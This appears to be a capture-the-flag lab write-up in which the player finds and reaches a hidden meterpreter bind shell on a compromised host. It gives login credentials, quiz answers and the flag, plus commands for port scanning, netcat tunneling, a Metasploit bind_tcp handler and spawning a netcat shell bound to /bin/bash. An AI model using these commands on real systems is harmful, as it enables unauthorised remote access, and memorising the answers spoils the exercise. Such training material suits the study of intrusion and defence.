Mission Name
The Remote Access

Historical Context:
Ethan suspects that Anderson is facilitating unauthorized external access, potentially compromising SHAX's security, motivated by his daughter's medical condition. In return, it appears Anderson is obtaining the necessary medical attention for her.

Overview of Technical Strategy:
Ethan is tasked with uncovering the method Anderson employs to grant this remote access and exfiltrate data. The objective is to locate and eliminate the software tool enabling this breach and sever its communication links. This scenario is indicative of activities typically associated with Command and Control (C2) systems or Remote Access Trojans (RATs).

Brief Mission Briefing:
Ethan, it's likely that Anderson's system has been compromised with some form of Shell, Command and Control interface, or a RAT. Your mission is to detect and neutralize this threat while ensuring SHAX's integrity remains intact. Proceed with caution. Best of luck!

Detailed Mission Narrative:
Ethan has reasons to believe that Anderson has compromised SHAX by granting external parties unauthorized access, driven by a personal crisis involving his daughter's health. This quid pro quo arrangement seems to be the only way Anderson can secure the medical treatment his daughter requires.

Operational Venue:
SYLVARCON | SKYTECH Headquarters

Tools

- User: anderson
- Password: and3rs0n
- ssh IP

Questions

What is the port of the bind shell?

- 48752

What is the name of the bind shell?

- m3t3rpr3t3r

What is the user with sudo?

- sh4x

Hints

1. Scan local ports
2. Use /proc/ to get more information
3. Tunnel to connect the hidden shell

Categories

- Enumeration
- Escalate Privileges

Write up

Log in via SSH as the user 'anderson'.

A local port is open, acting as a bind shell, necessitating a comprehensive port scan to identify it, as visibility into other users' processes is restricted.

Use the following command for a port scan:

- nc.traditional -v -z -n -w 1 127.0.0.1 1-65535

The presence of a meterpreter session is hinted at through initial observations from directory enumeration.

To explore further, use:

- echo /proc/*
- cat /proc/3101/* # Assuming 3101 is the suspected meterpreter process ID

For local tunneling, employ netcat:

nc.traditional -l -p 8888 -c "nc.traditional 127.0.0.1 [meterpreter port]"

To connect to the shell using Metasploit/meterpreter:

- - Launch Metasploit and use the `exploit/multi/handler`.
- - Configure the payload to `linux/x86/meterpreter/bind_tcp`.
- - Set `rhost` to the target IP, e.g., `11.0.2.104`.
- - Set `lport` to `8888` and execute the exploit.

To gain a more controlled shell environment:

- meterpreter > execute -f "/usr/local/bin/nc.traditional" -a "-lp 4444 -e '/bin/bash'"

This creates a process for a reverse shell. Connect to the new shell:

- nc -nv [target IP] 4444

```

Upon connection, verify your access:

- id
```

This should display the user and group IDs, confirming successful access.
Finally, proceed to locate and retrieve the flag.

Figure 1

Flag Information

flag{finally_U_r3aliz3_it}